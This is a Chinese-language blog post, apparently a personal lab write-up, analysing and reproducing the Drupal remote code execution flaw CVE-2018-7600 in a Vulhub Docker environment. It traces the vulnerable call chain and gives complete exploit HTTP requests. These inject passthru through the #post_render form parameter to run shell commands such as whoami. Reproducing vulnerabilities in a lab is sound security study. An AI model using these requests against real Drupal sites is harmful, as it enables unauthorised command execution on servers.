昨天拿到一份源码,用seay代码审计的时候,发现了call_user_func()函数,提示可以导致代码执行。
然后在查资料的时候发现了这个CVE漏洞,刚好Vulhub里面也有,就直接复现一波。怎么安装kali2020看kali 2020安装及中文问题
怎么搭建vulhub看 kali 2020安装及搭建Vulhub
我们可以利用的标签有很多,这里我就只分析了#post_render标签。我下载的是8.3.0版本的(因为vulhub好像么的源码,我就在本机下了一份源码进行分析)。
Drupal 6.x
Drupal 7.x
Drupal 8.x
0.首先我们要知道,drupal的注册页面,当我们提交的数据有问题时,它会把我们传入的参数构造成表单数组,然后经过渲染成html页面返回。当我们传入的参数是精心构造时,就会导致意外的发生。
先给出poc:(注意content-type,文末也有POC数据包)
url:
127.0.0.1:8080/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
post数据:
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=whoami
1.先看漏洞代码:
这里出现漏洞的原因是call_user_func()函数,这个函数会把第一个参数作为回调函数,后面的参数都作为这个回调函数的参数值执行。而巧的是,这些参数我们都可控。
2.因为#post_render标签是我们可控的,所以elements和$callable都是我们可控的。
3.然后说一下,从我们输入参数到这个函数的位置,之间的调用链:
FormBuilder.php的buildForm方法----》ManagedFile.php的uploadAjaxCallback方法----》NestedArray.php的getValue方法----》renderRoot方法----》render方法----》doRender方法----》call_user_func方法。
4.buildForm方法就是接收参数的地方,我们直接看uploadAjaxCallback方法。
可以看到,这里传入了我们的$form
这里看到调用了getValue方法,还传入了$form_parents,而我们又可以看到,$form_parents是通过get获取element_parents的值,然后对 ‘/’进行分割获得的。所以getValue方法传入的两个参数都是我们可控的。
5.再来看getValue方法的实现:
在这里就是对传入的数组循环遍历、判断、赋值。
6.接下来返回的$from又进入了renderRoot方法:
7.继续跟进,在Renderer.php下,它又进入了render方法:
8.继续跟进,就在该文件下,它又接着进入了doRender方法:
9.继续跟进,还是在该文件下,然后在它的第503行,发现了漏洞函数(上边还有几百行的if判断= =):
对于为什么这么构造我研究了好久,在国外的文章才得到解决)
外国分析文章
url中element_parents=account/mail/%23value的原因,看这张图就明白了:
关于post的数据为什么那样子构造,看这张图:
我主要是对格式、结构的不清楚。现在再结合上面的分析一看,就差不多明白了。
1.vulhub开启环境,在vulhub/drupal/CVE-2018-7600下,输入docker-compose up -d
2.在本机打开 ip:8080,看见如下表示成功,可以看到是8.5.0的:(这一步可能你做着做着就断开连接了= =重新输一次docker-compose up -d 就好,反正不用重新下载)
其他没说的就是默认,在选择数据库的时候,因为我的kali没有mysql数据库,所以这里选择sqlite:
信息随便填:
完事了:
3.点击右上角的login:
4.点击创建新账户,这个时候随便输入然后抓包:(代理的端口不要设置8080,避免冲突)
5.我们可以看到,它的传参格式有些不同,这是由于content-type导致的:
6.看看两种传参格式的数据包:
第一种:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 172.18.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.18.0.1:8080/user/register
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
Connection: close
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=whoami
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 172.18.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.18.0.1:8080/user/register
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663
Content-Length: 625
Connection: close
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#post_render][]"
passthru
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#type]"
markup
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#markup]"
whoami
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="form_id"
user_register_form
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="_drupal_ajax"
1
复现完记得 docker-compose down关闭环境。
好久没有这样子,从一个函数,引出一个cve,然后深入分析并复现了。中间也出现了很多问题和很难解决的点,索性是勉强解决了。好了,快2点了,该吃早餐了= =!!!